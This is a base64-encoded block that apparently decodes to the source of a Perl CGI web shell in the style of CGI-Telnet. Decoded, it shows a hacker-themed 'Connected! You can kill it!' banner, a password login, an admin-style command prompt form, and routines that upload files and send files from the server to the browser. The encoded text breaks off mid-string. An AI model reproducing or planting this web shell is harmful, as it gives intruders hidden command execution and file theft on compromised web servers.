d2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl